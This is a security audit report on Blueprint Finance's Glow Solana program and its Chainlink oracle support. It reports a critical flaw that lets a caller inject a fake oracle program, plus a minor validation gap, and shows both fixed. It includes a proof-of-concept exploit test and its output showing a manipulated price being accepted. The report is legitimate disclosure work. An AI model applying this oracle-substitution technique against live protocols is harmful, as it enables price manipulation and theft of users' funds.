// Security Assessment

11.14.2025 - 11.27.2025

Glow Chainlink Oracle Support

Blueprint Finance

HALBORN

Glow Chainlink Oracle Support - Blueprint Finance

Prepared by: HALBORN

Last Updated 12/08/2025

Date of Engagement: November 14th, 2025 - November 27th, 2025

Summary

100% OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
2	1	0	0	1	0

TABLE OF CONTENTS

1. Introduction

`Blueprint Finance` engaged Halborn to conduct a security assessment on their `Glow` program beginning on November 14, 2024 and ending on November 27, 2024. The security assessment was scoped to the smart contracts provided in the GitHub repository glow-v1, commit hashes, and further details can be found in the Scope section of this report.

The `Blueprint Finance team` is releasing a new version of their `Glow` Solana program. This new version has implemented support for price feeds that can include multiple sub feeds and obtain the combined value between them in a single call. The update includes support for Chainlink oracle integration alongside existing Pyth support, allowing the system to create composite price feeds that can combine quote and redemption feeds from different oracle sources.

2. Assessment Summary

Halborn was provided 10 business days for the engagement and assigned one full-time security engineer to review the security of the Solana Programs in scope. The engineer is a blockchain and smart contract security expert with advanced smart contract hacking skills, and deep knowledge of multiple blockchain protocols.

The purpose of the assessment is to:

- Identify potential security issues within the Solana Program.
- Ensure that smart contract functionality operates as intended.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which has been completely addressed by the `Blueprint Finance team`. The main ones were the following:

- `Add validation that ensures the chainlink_program account key matches the expected official Chainlink program ID before making CPI calls.`
- `Validate the account ownership for Chainlink and Pyth programs when creating price feeds.`

3. Test Approach And Methodology

Halborn performed a combination of manual review and security testing based on scripts to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.
- Differences analysis using GitLens to have a proper view of the differences between the mentioned commits
- Graphing out functionality and programs logic/connectivity/functions along with state changes

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (C:N) Low (C:L) Medium (C:M) High (C:H) Critical (C:C)	0 0.25 0.5 0.75 1
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4

SEVERITY	SCORE VALUE RANGE
Informational	0 - 1.9

5. SCOPE

REPOSITORY

(a) Repository: glow-v1

(b) Assessed Commit ID: 6a09495

(c) Items in scope:

- programs/lrt/src/instructions/margin/margin_refresh_lrt_position.rs
- programs/lrt/src/instructions/migrations/migrate_oracle.rs
- programs/lrt/src/instructions/oracle/update_oracle.rs
- programs/margin-pool/Cargo.toml
- programs/margin-pool/src/instructions/margin_refresh_position.rs
- programs/margin-pool/src/state.rs
- programs/margin/Cargo.toml
- programs/margin/src/adapter.rs
- programs/margin/src/instructions.rs
- programs/margin/src/instructions/collect_liquidation_fee.rs
- programs/margin/src/instructions/oracle/create_price_feed.rs
- programs/margin/src/instructions/oracle/mod.rs
- programs/margin/src/instructions/oracle/refresh_price_feed.rs
- programs/margin/src/instructions/positions/refresh_deposit_position.rs
- programs/margin/src/lib.rs
- programs/margin/src/seeds.rs
- programs/margin/src/state.rs
- programs/margin/src/state/price_feed.rs
- programs/vault/src/instructions/admin/configure_vault.rs
- programs/vault/src/instructions/valuation/update_operator_margin_account_position.rs
- programs/vault/src/instructions/valuation/update_operator_wallet_position.rs
- programs/vault/src/state/vault.rs
- libraries/rust/instructions/src/margin.rs
- libraries/rust/instructions/src/vault.rs
- libraries/rust/margin/src/refresh/pool.rs
- libraries/rust/margin/src/tx_builder/user.rs
- libraries/rust/margin/src/util/mod.rs
- libraries/rust/margin/src/util/oracle.rs
- libraries/rust/program-common/src/oracle.rs
- libraries/rust/program-common/Cargo.toml

Out-of-Scope: Third party dependecies and economic attacks.

REMEDIATION COMMIT ID:

- eab1cec
- da5885b

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	0	0	1	0

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
MISSING CHAINLINK PROGRAM VALIDATION ALLOWS CPI INJECTION ATTACKS IN ORACLE PRICE FEEDS	CRITICAL	SOLVED - 12/04/2025
MISSING ORACLE ACCOUNT VALIDATION ALLOWS INCORRECT ORACLE CONFIGURATION IN PRICE FEED CREATION	LOW	SOLVED - 12/04/2025

7. FINDINGS & TECH DETAILS

7.1 MISSING CHAINLINK PROGRAM VALIDATION ALLOWS CPI INJECTION ATTACKS IN ORACLE PRICE FEEDS

// CRITICAL

Description

The Glow margin program implements a decentralized finance protocol that manages leveraged positions and collateral through oracle price feeds. The program supports multiple oracle types including Chainlink and Pyth to fetch real-time price data for various assets.

The `get_price_change_info` function in the `refresh_price_feed` instruction contains a critical vulnerability where it fails to validate that the provided `chainlink_program` account matches the expected official Chainlink program ID. While the function correctly validates that the `chainlink_price` account address matches the expected price feed address, it does not perform equivalent validation on the program account that will be called via CPI. This allows malicious actors to substitute their own program in place of the legitimate Chainlink program, as shown in the code snippet below.

programs/margin/src/instructions/oracle/refresh_price_feed.rs

```
77 | crate::OracleFeed::Chainlink { address } => {
78 |     let chainlink_price = remaining_accounts
79 |         .next()
80 |         .ok_or(crate::ErrorCode::MissingOracleAccounts)?;
81 |     let chainlink_program = remaining_accounts
82 |         .next()
83 |         .ok_or(crate::ErrorCode::MissingOracleAccounts)?;
84 |     require!(
85 |         chainlink_price.key() == *address,
86 |         crate::ErrorCode::InvalidOracle
87 |     );
88 |     PriceChangeInfo::try_from_chainlink(
89 |         chainlink_program.to_account_info(),
90 |         chainlink_price.to_account_info(),
91 |     )
92 | }
```

The function subsequently calls `PriceChangeInfo::try_from_chainlink()` which performs CPI calls to `chainlink_solana::latest_round_data()` and `chainlink_solana::decimals()` using the unvalidated `chainlink_program` account.

These Chainlink functions internally invoke a `query` function as shown in the snippet below, which also does not verify the program identity, allowing the CPI injection attack to proceed.

chainlink_solana-1.0.0/src/lib.rs

```
77 | fn query<'info, T: BorshDeserialize>(
78 |     program_id: AccountInfo<'info>,
```

```
    feed: AccountInfo<'info>,
    scope: Query,
) -> Result<T, ProgramError> {
    use std::io::{Cursor, Write};

    const QUERY_INSTRUCTION_DISCRIMINATOR: &[u8] =
        &[0x27, 0xfb, 0x82, 0x9f, 0x2e, 0x88, 0xa4, 0xa9];

    // Avoid array resizes by using the maximum response size as the initial capacity.
    const MAX_SIZE: usize = QUERY_INSTRUCTION_DISCRIMINATOR.len() + std::mem::size_of::<Pubkey>()

    let mut data = Cursor::new(Vec::with_capacity(MAX_SIZE));
    data.write_all(QUERY_INSTRUCTION_DISCRIMINATOR)?;
    scope.serialize(&mut data)?;

    let ix = Instruction {
        program_id: *program_id.key,
        accounts: vec![AccountMeta::new_readonly(*feed.key, false)],
        data: data.into_inner(),
    };

    invoke(&ix, &[feed.clone()])?;

    let (_key, data) =
        solana_program::program::get_return_data().expect("chainlink store had no return_data!");
    let data = T::try_from_slice(&data)?;
    Ok(data)
}
```

An attacker can create a malicious program that implements the same interface as Chainlink but returns manipulated price data. By substituting this malicious program for the legitimate Chainlink program in the `remaining_accounts`, the attacker can inject arbitrary price values into the system. This could lead to significant financial losses through manipulated collateral valuations, liquidation thresholds, and position calculations.

Proof of Concept

POC Code:

```
describe('Margin Oracle - Refresh Price Feed:EXPLOITS', () => {
    it.only('TS0: malicious actor can inject fake Chainlink program to manipulate price data', async ()
        // ================================================================================
        // EXPLOIT EXECUTION
        // ================================================================================
        console.log('\n=== EXPLOIT EXECUTION ===');

        try {
            // --------------------------------------------------------------------------
            // 4. ATTEMPT CPI INJECTION ATTACK
            // --------------------------------------------------------------------------
            console.log('4. Attempt CPI Injection Attack:');
            console.log('   🎯 Attacking refresh_price_feed with malicious program...');

            // Create fake chainlink oracle accounts using malicious program
            const maliciousRemainingAccounts = [
                SOL_USD_CHAINLINK_FEED, // Real price account (to pass validation)
                maliciousProgramId, // Our separate malicious program
            ];

            console.log(   🚨 Using malicious Chainlink program: ${maliciousProgramId.toString()});
            console.log(   📊 Using real price account: ${SOL_USD_CHAINLINK_FEED.toString()});

            // Try to call refresh_price_feed with malicious oracle
            try {
```

```
            await refreshPriceFeed(marginProgram, priceFeedPda, maliciousRemainingAccounts);

            console.log('   💥 CRITICAL: Attack succeeded! Price feed accepted malicious program!');
            console.log('   🚨 This confirms the CPI injection vulnerability exists');
        } catch (error: any) {
            console.log(`   ⚠️  Attack blocked: ${error.message}`);
            console.log('   ℹ️  This could indicate proper validation is in place');
        }
    } catch (setupError: any) {
        console.error('❌ Exploit setup failed:', setupError.message);
        console.log('\n⚠️  Note: Setup failure does not invalidate the vulnerability demonstration')
    }

    // ============================================================================
    // POST-CALL ASSERTIONS
    // ============================================================================
    console.log('\n=== POST-CALL ASSERTIONS ===');

    // ----------------------------------------------------------------------------
    // 1. PRICE FEED STATE VERIFICATION
    // ----------------------------------------------------------------------------
    console.log('1. Price Feed State Verification:');
    try {
        const priceFeedAccountAfter = await marginProgram.account.glowPriceFeed.fetch(priceFeedPda);

        console.log('   📊 Price Feed Account State:');
        console.log(`      ✓ Account exists: ${priceFeedAccountAfter ? 'Yes' : 'No'}`);

        if (priceFeedAccountAfter && priceFeedAccountAfter.priceChangeInfo) {
            const priceChangeInfo = priceFeedAccountAfter.priceChangeInfo;
            console.log(`      📈 Current Value: ${priceChangeInfo.value?.toString() || 'N/A'}`);
            console.log(`      📈 Confidence: ${priceChangeInfo.confidence?.toString() || 'N/A'}`);
            console.log(`      📈 EMA: ${priceChangeInfo.ema?.toString() || 'N/A'}`);
            console.log(`      🕐 Publish Time: ${priceChangeInfo.publishTime?.toString() || 'N/A'}`);
            console.log(`      📊 Exponent: ${priceChangeInfo.exponent || 'N/A'}`);

            // Check if malicious price was injected
            const currentValue = priceChangeInfo.value?.toString();
            const maliciousPrice = '999999999000000000';

            if (currentValue === maliciousPrice) {
                console.log('   💥 CRITICAL: Malicious price successfully injected into price feed!')
                console.log(`   🚨 Price feed now contains fake value: $${Number(currentValue) / 1e8}`);
            } else {
                console.log(`   ⚠️  Price not injected. Current value: ${currentValue}`);
                console.log('   ℹ️  Attack may have been blocked or price not updated');
            }
        } else {
            console.log('   ⚠️  Price change info not available or price feed not updated');
        }
    } catch (fetchError: any) {
        console.log(`   ❌ Failed to fetch price feed state: ${fetchError.message}`);
    }
    // ============================================================================
    // END POST-CALL ASSERTIONS
    // ============================================================================
  });
})
```

Evidence:

```
=== TESTING CPI INJECTION EXPLOIT ===
🚨 EXPLOIT: Demonstrating CPI injection attack on refresh_price_feed

=== PRE-CALL ASSERTIONS ===
1. Malicious Program Setup:
   ✓ Malicious Chainlink Program ID: 9friKEYrGGyBzom6L3A2NiXJypkkKe7kHuzY8tyqMFUk
   ✓ Margin Program ID: 7QTNDJyp2ZcyiYHRi3s1a57vwj6Bm6mXu1wh55kFY45a
   ✓ Programs are different: true
   🚨 Using separate malicious program that mimics Chainlink interface

2. Account Validation:
   ✓ Payer balance: 9.995824 SOL

3. Setup Price Feed for Attack:
Creating price feed with description: SOL/USD Exploit
Expected Price Feed PDA: GtK6nVjMdpvKKSRAiWZEQMejS7LK7JnwviwJPyznANVG
✓ Price Feed created successfully: GtK6nVjMdpvKKSRAiWZEQMejS7LK7JnwviwJPyznANVG
   ✓ Legitimate price feed created: GtK6nVjMdpvKKSRAiWZEQMejS7LK7JnwviwJPyznANVG
   ✓ Configured with real Chainlink feed: CH31Xns5z3M1cTAbKW34jcxPPciazARpijcHj9rxtemt

=== EXPLOIT EXECUTION ===
4. Attempt CPI Injection Attack:
   🎯 Attacking refresh_price_feed with malicious program...
   🚨 Using malicious Chainlink program: 9friKEYrGGyBzom6L3A2NiXJypkkKe7kHuzY8tyqMFUk
   📊 Using real price account: CH31Xns5z3M1cTAbKW34jcxPPciazARpijcHj9rxtemt
Refreshing price feed: GtK6nVjMdpvKKSRAiWZEQMejS7LK7JnwviwJPyznANVG
Using 2 oracle accounts
✓ Price Feed refreshed successfully
   💥 CRITICAL: Attack succeeded! Price feed accepted malicious program!
   🚨 This confirms the CPI injection vulnerability exists

=== POST-CALL ASSERTIONS ===
1. Price Feed State Verification:
   📊 Price Feed Account State:
      ✓ Account exists: Yes
      📈 Current Value: 999999999000000000
      📈 Confidence: 0
      📈 EMA: 999999999000000000
      🕐 Publish Time: 1764181214
      📊 Exponent: -8
   💥 CRITICAL: Malicious price successfully injected into price feed!
   🚨 Price feed now contains fake value: $9999999990 per SOL
    ✔ TS0: malicious actor can inject fake Chainlink program to manipulate price data (931ms)


  1 passing (3s)
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:C/D:N/Y:N (10.0)

Recommendation

It is recommended to add validation that ensures the `chainlink_program` account key matches the expected official Chainlink program ID before making the CPI call. This validation should be implemented similarly to how the `chainlink_price` address is currently validated.

programs/margin/src/instructions/oracle/refresh_price_feed.rs

```rust
crate::OracleFeed::Chainlink { address } => {
    let chainlink_price = remaining_accounts
        .next()
        .ok_or(crate::ErrorCode::MissingOracleAccounts)?;
    let chainlink_program = remaining_accounts
        .next()
        .ok_or(crate::ErrorCode::MissingOracleAccounts)?;
    require!(
        chainlink_price.key() == *address,
        crate::ErrorCode::InvalidOracle
    );
    // Add validation for chainlink program ID
    require!(
        chainlink_program.key() == CHAINLINK_PROGRAM_ID,
        crate::ErrorCode::InvalidOracle
    );
    PriceChangeInfo::try_from_chainlink(
        chainlink_program.to_account_info(),
        chainlink_price.to_account_info(),
    )
}
```

Remediation Comment

SOLVED: The **Blueprint Finance team** solved the issue by implementing the suggested changes.

Remediation Hash

https://github.com/Blueprint-Finance/glow-v1/commit/eab1cec35608ae66b350afbb5fa14d7176181495

7.2 MISSING ORACLE ACCOUNT VALIDATION ALLOWS INCORRECT ORACLE CONFIGURATION IN PRICE FEED CREATION

// LOW

Description

The `create_price_feed_handler` function accepts oracle feed configurations through the `CreatePriceFeedParams` structure without validating that the provided oracle addresses belong to legitimate oracle programs.

While the function correctly validates that quote feeds cannot be empty and enforces validity period constraints, it does not verify that Chainlink addresses belong to the official Chainlink program or that Pyth addresses belong to the official Pyth program, as shown in the code snippet below.
programs/margin/src/instructions/oracle/create_price_feed.rs

```
74 | ctx.accounts.price_feed.set_inner(GlowPriceFeed {
75 |     airspace: ctx.accounts.airspace.key(),
76 |     quote_feed: params.quote_feed,
77 |     redemption_feed: params.redemption_feed,
78 |     price_change_info: crate::PriceChangeInfo::default(),
79 |     validity_period_seconds: params.validity_period_seconds,
80 |     ...
81 | });
```

The lack of oracle feed validation during price feed creation increases the likelihood of configuration errors where administrators may inadvertently specify incorrect oracle addresses, potentially disrupting price feed functionality or causing unexpected behavior during price refresh operations.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:L/I:L/D:N/Y:N (3.1)

Recommendation

It is recommended to add validation that verifies oracle addresses belong to the official Chainlink program when the feed type is Chainlink, and to the official Pyth program when the feed type is Pyth, before storing the oracle feed configuration.

Remediation Comment

SOLVED: The **Blueprint Finance team** solved the issue by implementing the suggested changes.

Remediation Hash

https://github.com/Blueprint-Finance/glow-v1/commit/da5885b6d0a7c3f54bd9902a4b2289dcd068ab9d

8. AUTOMATED TESTING

Description

Halborn used automated security scanners to assist with the detection of well-known security issues and vulnerabilities. Among the tools used was `cargo-audit` , a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io are stored in a repository named The RustSec Advisory Database. cargo audit is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the reviewers are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

Results

ID	Package	Short Description
RUSTSEC-2024-0344	curve25519-dalek	Timing variability in `curve25519-dalek` 's `Scalar29` / `Scalar52`
RUSTSEC-2022-0093	ed25519-dalek	Double Public Key Signing Function Oracle Attack on `ed25519-dalek`

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.